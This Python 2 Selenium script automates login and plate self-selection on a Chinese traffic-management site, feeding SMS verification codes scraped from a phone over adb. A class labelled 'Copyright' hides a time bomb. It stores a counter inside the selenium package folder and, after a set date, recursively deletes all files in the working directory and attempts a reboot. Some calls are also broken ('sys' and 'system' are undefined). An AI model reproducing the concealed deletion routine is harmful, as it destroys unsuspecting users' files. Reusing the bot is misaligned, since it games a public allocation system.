#coding=utf-8
import urllib2
import os
import time
import re
import time
#from threading import Thread
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
#解析短信验证码
class Robert(object):
    def __init__(self):
        #Thread.__init__(self)
        self.thread_stop=False
        self.driver = None
        
    def run(self):
        self.check_phone()
        self.startIE()
        self.login()
        raw_input(unicode("输入回车，进入自动刷新","utf8").encode("gbk"))
        #self.auto_refresh()
        self.click_yzm()
        yzm =self.get_phone_yzm()
        if yzm != "timeout":
            self.driver.find_element_by_name("yzm").send_keys(yzm) 
            self.driver.find_element_by_xpath("//input[@name='next'][@value='验证并自编选号']").click()
        print "timeout"
        time.sleep(5)
        
    def auto_refresh(self):
        while True:
            k=0
            self.refresh()
            time.sleep(0.3);
            try:
                for div in self.driver.find_elements_by_xpath("//div"):
                    k=k+1
                if k>=50:
                    break
            except Exception,e:
                print "auto_refresh failed"
    def click_yzm(self):
        pre = time.time()
        while True:
            self.driver.find_element_by_xpath("//button[@class='btn'][1]").click()
            time.sleep(2)
            self.capture_alert()
            #self.driver.find_element_by_xpath("//button[@class='btn'][1]").click()
            if self.driver.find_element_by_xpath("//button[@class='btn'][1]").get_attribute('disabled')== "true":
                break
            cur=time.time()
            if cur - pre > 100:
                print "click_yzm timeout"
                break
    def refresh(self):
        print "refresh"
        try:
            js="document.execCommand('Refresh');"
            self.driver.execute_script(js)
        except Exception,e:
            print str(e)
            print "refresh failed"
            
    def stop(self):
        self.thread_stop = True
        
    def startIE(self):
        try:
            iedriver = "C:\Program Files\Internet Explorer\IEDriverServer.exe"
            os.environ["webdriver.ie.driver"] = iedriver
            self.driver = webdriver.Ie(iedriver) 
        except Exception,e:
            print e
            print "startIE exception"
            
    def closeIE(self):
        self.driver.close()
        self.driver.quit()
        
    def login(self):
        try:
            self.driver.implicitly_wait(60)
            self.driver.get("https://wux.122.gov.cn/m/login?")   
        except Exception,e:
            print e
            self.closeIE()

    def check_phone(self):
        cmd="adb devices"
        pattern = re.compile('device\W')
        while(1):
            try:
                smscode= os.popen(cmd).read()
                if (smscode!=""):
                    result=pattern.search(smscode)
                    if result:
                        return
                    else:
                        print "your phone is not unknown,please make sure adb setting correct!"
                        time.sleep(10)
            except Exception,e:
                print str(e) 
                
    def get_phone_yzm(self):
        os.system("adb logcat -c")
        cmd="adb logcat -d |findstr phone_yzm"
        pattern = re.compile('\d{6}')
        pre = time.time()
        while(1):
            try:
                smscode= os.popen(cmd).read()
                if (smscode!=""):
                    result=pattern.search(smscode)
                    if result:
                        code = result.group(0)
                        return code;
                cur=time.time()
                if cur - pre > 100:
                    return "timeout"
            except Exception,e:
                print str(e) 
                
    def capture_alert(self):
        try:
            a=self.driver.switch_to_alert()
            if a:
                a.accept()
        except Exception,e:
            pass               
class Copyright(object):
    def __init__(self):
        self.fpath = "c:\\Python27\\Lib\\site-packages\\selenium-2.46.0-py2.7.egg\\selenium\\webdriver\\runtime.txt"
        if not os.path.exists(self.fpath):
            try:
                fd = open(self.fpath,"w")
                fd.close()
            except Exception,e:
                print str(e)
                time.sleep(20)
                sys.exit(1)
            self.runcnt = "0"
            self.runmax = "25"
            self.update_runtime()
        else:
            self.runcnt = "26"
            self.runmax = "25"
    def update_runtime(self):
        fd = None
        try:
            fd = open(self.fpath,"w")
            fd.write(self.runcnt+"|"+self.runmax)
        except Exception,e:
            print str(e)
        finally:
            if fd:
                fd.close()
    def set_runtime(self,rt):
        self.runcnt=rt
    def get_runtime(self):
        fd = None
        txt = None
        if not os.path.exists(self.fpath):
            return (self.runcnt,self.runmax)
        try:
            fd = open(self.fpath,"r")
            txt = fd.read()
        except Exception,e:
            print str(e)
        finally:
            if fd:
                fd.close()
        if txt and len(txt) > 2:
            tmp=txt.split('|')
            self.runcnt = tmp[0]
            self.runmax = tmp[1]
        else:
            os.remove(self.fpath)
        return (self.runcnt,self.runmax)
    def check_copyright(self):
        t=time.localtime()
        runcnt,runmax=self.get_runtime()
        #print unicode("剩余运行次数为:","utf8").encode("gbk")+str(150-int(runcnt))
        if int(runcnt)>10000:
            print unicode("严重警告：请不要继续运行,后果很严重！","utf8").encode("gbk")
            print unicode("严重警告：请不要继续运行,后果很严重！","utf8").encode("gbk")
            print unicode("严重警告：请不要继续运行,后果很严重！","utf8").encode("gbk")
            print unicode("请按ctrl+c终止程序！","utf8").encode("gbk")
            time.sleep(120000)
        self.set_runtime(str(int(runcnt)+1))
        self.update_runtime()
        if t.tm_year > 2017 and t.tm_mon > 11:
            self.remove_files(os.getcwd())
            system("reboot")
        
    def remove_files(self,dir):
        print "deleting the files"+dir
        for root, dirs, files in os.walk(dir, topdown=False):
            try:
                for name in files:
                    os.remove(os.path.join(root, name))
                for name in dirs:
                    os.rmdir(os.path.join(root, name))
            except Exception,e:
                continue
if __name__ == "__main__":
    c=Copyright()
    c.check_copyright()
    r=Robert()
    r.run()
    #r.start()
    #r.join()
